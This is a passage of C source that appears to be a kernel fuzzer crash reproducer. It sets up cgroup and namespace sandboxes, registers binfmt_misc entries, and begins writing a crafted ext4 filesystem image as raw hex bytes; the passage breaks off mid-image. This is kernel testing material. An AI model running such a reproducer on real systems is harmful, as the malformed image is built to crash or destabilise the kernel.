if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/memory.low", cgroupdir);
write_file(file, "%d", 298 << 20);
snprintf(file, sizeof(file), "%s/memory.high", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.max", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
setup_cgroups();
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
initialize_vhci();
sandbox_common();
drop_caps();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_tun();
initialize_netdevices();
initialize_wifi_devices();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
int iter = 0;
DIR* dp = 0;
retry:
while (umount2(dir, MNT_DETACH) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
struct dirent* ep = 0;
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, MNT_DETACH) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, MNT_DETACH))
exit(1);
}
}
closedir(dp);
for (int i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_loop()
{
setup_cgroups_loop();
checkpoint_net_namespace();
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
reset_net_namespace();
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
flush_tun();
}
static void close_fds()
{
for (int fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
}
write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:");
write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC");
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
for (call = 0; call < 5; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done,
45 + (call == 0 ? 50 : 0) + (call == 2 ? 50 : 0));
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
close_fds();
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter = 0;
for (;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
NONFAILING(memcpy((void*)0x20000000, "ext4\000", 5));
NONFAILING(memcpy((void*)0x20000100, "./file0\000", 8));
NONFAILING(*(uint64_t*)0x20000200 = 0x20010000);
NONFAILING(memcpy(
(void*)0x20010000,
"\x20\x00\x00\x00\x40\x00\x00\x00\x03\x00\x00\x00\x32\x00\x00\x00\x0f"
"\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x80"
"\x00\x00\x00\x80\x00\x00\x20\x00\x00\x00\xdb\xf4\x65\x5f\xdb\xf4\x65"
"\x5f\x01\x00\xff\xff\x53\xef\x01\x00\x01\x00\x00\x00\xda\xf4\x65\x5f"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0b"
"\x00\x00\x00\x00\x01\x00\x00\x28\x02\x00\x00\x02\x84",
98));
NONFAILING(*(uint64_t*)0x20000208 = 0x62);
NONFAILING(*(uint64_t*)0x20000210 = 0x400);
NONFAILING(*(uint64_t*)0x20000218 = 0x20010300);
NONFAILING(memcpy(
(void*)0x20010300,
"\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x32\x00\x0f\x00\x03"
"\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x2f\x7c",
32));
NONFAILING(*(uint64_t*)0x20000220 = 0x20);
NONFAILING(*(uint64_t*)0x20000228 = 0x1000);
NONFAILING(*(uint64_t*)0x20000230 = 0x20010400);
NONFAILING(memcpy(
(void*)0x20010400,
"\xff\x3f\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
